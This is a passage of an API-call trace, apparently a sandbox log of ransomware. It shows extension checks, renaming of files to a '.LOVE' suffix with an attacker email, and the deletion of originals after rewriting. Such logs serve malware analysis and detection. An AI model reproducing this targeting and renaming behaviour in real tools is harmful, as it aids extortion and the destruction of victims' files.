[0201.718] lstrlenW (lpString=".xlsx") returned 5 [0201.718] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0201.718] lstrlenW (lpString=".ppt") returned 4 [0201.718] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0201.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.718] lstrlenW (lpString=".zip") returned 4 [0201.718] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0201.718] lstrlenW (lpString=".rar") returned 4 [0201.718] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0201.719] lstrlenW (lpString=".bz2") returned 4 [0201.719] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0201.719] lstrlenW (lpString=".7z") returned 3 [0201.719] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0201.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.719] lstrlenW (lpString=".dbf") returned 4 [0201.719] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0201.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.719] lstrlenW (lpString=".1cd") returned 4 [0201.719] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0201.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.719] lstrlenW (lpString=".jpg") returned 4 [0201.719] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0201.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.719] lstrlenW (lpString=".doc") returned 4 [0201.719] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0201.719] lstrlenW (lpString=".docx") returned 5 [0201.719] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0201.719] lstrlenW (lpString=".pdf") returned 4 [0201.719] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0201.719] lstrlenW (lpString=".xls") returned 4 [0201.719] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0201.719] lstrlenW (lpString=".xlsx") returned 5 [0201.719] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0201.719] lstrlenW (lpString=".ppt") returned 4 [0201.719] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0201.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.719] lstrlenW (lpString=".zip") returned 4 [0201.719] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0201.719] lstrlenW (lpString=".rar") returned 4 [0201.719] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0201.719] lstrlenW (lpString=".bz2") returned 4 [0201.719] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0201.719] lstrlenW (lpString=".7z") returned 3 [0201.719] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0201.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.719] lstrlenW (lpString=".dbf") returned 4 [0201.720] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0201.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.720] lstrlenW (lpString=".1cd") returned 4 [0201.720] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0201.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.720] lstrlenW (lpString=".jpg") returned 4 [0201.720] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0201.720] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.720] lstrlenW (lpString="ipsdan.xml") returned 10 [0201.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0201.738] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=2514) returned 1 [0201.738] CloseHandle (hObject=0x330) returned 1 [0201.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0201.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.739] lstrlenW (lpString=".doc") returned 4 [0201.739] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.739] lstrlenW (lpString=".docx") returned 5 [0201.739] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0201.739] lstrlenW (lpString=".pdf") returned 4 [0201.739] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.739] lstrlenW (lpString=".xls") returned 4 [0201.739] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.739] lstrlenW (lpString=".xlsx") returned 5 [0201.739] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0201.739] lstrlenW (lpString=".ppt") returned 4 [0201.739] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.739] lstrlenW (lpString=".zip") returned 4 [0201.739] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.739] lstrlenW (lpString=".rar") returned 4 [0201.739] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.739] lstrlenW (lpString=".bz2") returned 4 [0201.739] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.739] lstrlenW (lpString=".7z") returned 3 [0201.739] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.739] lstrlenW (lpString=".dbf") returned 4 [0201.739] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.739] lstrlenW (lpString=".1cd") returned 4 [0201.739] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.739] lstrlenW (lpString=".jpg") returned 4 [0201.739] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.740] lstrlenW (lpString=".doc") returned 4 [0201.740] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.740] lstrlenW (lpString=".docx") returned 5 [0201.740] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0201.740] lstrlenW (lpString=".pdf") returned 4 [0201.740] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.740] lstrlenW (lpString=".xls") returned 4 [0201.740] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.740] lstrlenW (lpString=".xlsx") returned 5 [0201.740] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0201.740] lstrlenW (lpString=".ppt") returned 4 [0201.740] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.740] lstrlenW (lpString=".zip") returned 4 [0201.740] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.740] lstrlenW (lpString=".rar") returned 4 [0201.740] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.740] lstrlenW (lpString=".bz2") returned 4 [0201.740] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.740] lstrlenW (lpString=".7z") returned 3 [0201.740] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.740] lstrlenW (lpString=".dbf") returned 4 [0201.740] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.740] lstrlenW (lpString=".1cd") returned 4 [0201.740] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0201.740] lstrlenW (lpString=".jpg") returned 4 [0201.740] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.740] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.741] lstrlenW (lpString="ipsel.xml") returned 9 [0201.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0201.741] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=2618) returned 1 [0201.741] CloseHandle (hObject=0x330) returned 1 [0201.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0201.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.741] lstrlenW (lpString=".doc") returned 4 [0201.741] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.741] lstrlenW (lpString=".docx") returned 5 [0201.741] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0201.741] lstrlenW (lpString=".pdf") returned 4 [0201.741] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.741] lstrlenW (lpString=".xls") returned 4 [0201.741] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.741] lstrlenW (lpString=".xlsx") returned 5 [0201.741] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0201.741] lstrlenW (lpString=".ppt") returned 4 [0201.741] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.742] lstrlenW (lpString=".zip") returned 4 [0201.742] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.742] lstrlenW (lpString=".rar") returned 4 [0201.742] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.742] lstrlenW (lpString=".bz2") returned 4 [0201.742] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.742] lstrlenW (lpString=".7z") returned 3 [0201.742] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.742] lstrlenW (lpString=".dbf") returned 4 [0201.742] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.742] lstrlenW (lpString=".1cd") returned 4 [0201.742] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.742] lstrlenW (lpString=".jpg") returned 4 [0201.742] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.742] lstrlenW (lpString=".doc") returned 4 [0201.742] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.742] lstrlenW (lpString=".docx") returned 5 [0201.742] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0201.742] lstrlenW (lpString=".pdf") returned 4 [0201.742] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.742] lstrlenW (lpString=".xls") returned 4 [0201.742] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.742] lstrlenW (lpString=".xlsx") returned 5 [0201.742] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0201.742] lstrlenW (lpString=".ppt") returned 4 [0201.742] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.743] lstrlenW (lpString=".zip") returned 4 [0201.743] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.743] lstrlenW (lpString=".rar") returned 4 [0201.743] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.743] lstrlenW (lpString=".bz2") returned 4 [0201.743] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.743] lstrlenW (lpString=".7z") returned 3 [0201.743] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.743] lstrlenW (lpString=".dbf") returned 4 [0201.743] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.743] lstrlenW (lpString=".1cd") returned 4 [0201.743] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0201.743] lstrlenW (lpString=".jpg") returned 4 [0201.743] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.743] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.743] lstrlenW (lpString="ipsen.xml") returned 9 [0201.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0201.744] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=2578) returned 1 [0201.744] CloseHandle (hObject=0x330) returned 1 [0201.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0201.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.744] lstrlenW (lpString=".doc") returned 4 [0201.744] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.744] lstrlenW (lpString=".docx") returned 5 [0201.744] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0201.744] lstrlenW (lpString=".pdf") returned 4 [0201.744] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.744] lstrlenW (lpString=".xls") returned 4 [0201.744] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.744] lstrlenW (lpString=".xlsx") returned 5 [0201.744] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0201.745] lstrlenW (lpString=".ppt") returned 4 [0201.745] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.745] lstrlenW (lpString=".zip") returned 4 [0201.745] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.745] lstrlenW (lpString=".rar") returned 4 [0201.745] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.745] lstrlenW (lpString=".bz2") returned 4 [0201.745] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.745] lstrlenW (lpString=".7z") returned 3 [0201.745] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.745] lstrlenW (lpString=".dbf") returned 4 [0201.745] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.745] lstrlenW (lpString=".1cd") returned 4 [0201.745] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.745] lstrlenW (lpString=".jpg") returned 4 [0201.745] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.745] lstrlenW (lpString=".doc") returned 4 [0201.745] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.745] lstrlenW (lpString=".docx") returned 5 [0201.745] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0201.745] lstrlenW (lpString=".pdf") returned 4 [0201.745] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.745] lstrlenW (lpString=".xls") returned 4 [0201.745] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.745] lstrlenW (lpString=".xlsx") returned 5 [0201.745] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0201.745] lstrlenW (lpString=".ppt") returned 4 [0201.745] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.746] lstrlenW (lpString=".zip") returned 4 [0201.746] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.746] lstrlenW (lpString=".rar") returned 4 [0201.746] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.746] lstrlenW (lpString=".bz2") returned 4 [0201.746] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.746] lstrlenW (lpString=".7z") returned 3 [0201.746] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.746] lstrlenW (lpString=".dbf") returned 4 [0201.746] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.746] lstrlenW (lpString=".1cd") returned 4 [0201.746] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0201.746] lstrlenW (lpString=".jpg") returned 4 [0201.746] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.746] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.746] lstrlenW (lpString="ipsesp.xml") returned 10 [0201.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0201.746] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=3024) returned 1 [0201.747] CloseHandle (hObject=0x330) returned 1 [0201.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0201.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0201.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0201.747] lstrlenW (lpString=".doc") returned 4 [0201.747] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.747] lstrlenW (lpString=".docx") returned 5 [0201.747] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0201.747] lstrlenW (lpString=".pdf") returned 4 [0201.747] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.747] lstrlenW (lpString=".xls") returned 4 [0201.747] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.747] lstrlenW (lpString=".xlsx") returned 5 [0201.747] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0201.747] lstrlenW (lpString=".ppt") returned 4 [0201.747] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0201.747] lstrlenW (lpString=".zip") returned 4 [0201.747] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.747] lstrlenW (lpString=".rar") returned 4 [0201.747] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.747] lstrlenW (lpString=".bz2") returned 4 [0201.747] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.747] lstrlenW (lpString=".7z") returned 3 [0201.747] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0201.747] lstrlenW (lpString=".dbf") returned 4 [0201.747] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.875] GetLastError () returned 0x0 [0201.875] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x374c, lpOverlapped=0x0) returned 1 [0201.891] WriteFile (in: hFile=0x33c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x3750, lpOverlapped=0x0) returned 1 [0201.891] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.891] WriteFile (in: hFile=0x33c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xea, lpOverlapped=0x0) returned 1 [0201.891] SetEndOfFile (hFile=0x33c) returned 1 [0201.892] CloseHandle (hObject=0x33c) returned 1 [0201.892] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.892] SetEndOfFile (hFile=0x2c4) returned 1 [0201.893] CloseHandle (hObject=0x2c4) returned 1 [0201.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0201.893] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0201.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0201.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0201.894] lstrlenW (lpString=".doc") returned 4 [0201.894] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0201.894] lstrlenW (lpString=".docx") returned 5 [0201.894] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0201.894] lstrlenW (lpString=".pdf") returned 4 [0201.894] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0201.894] lstrlenW (lpString=".xls") returned 4 [0201.894] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0201.894] lstrlenW (lpString=".xlsx") returned 5 [0201.894] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0201.894] lstrlenW (lpString=".ppt") returned 4 [0201.894] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 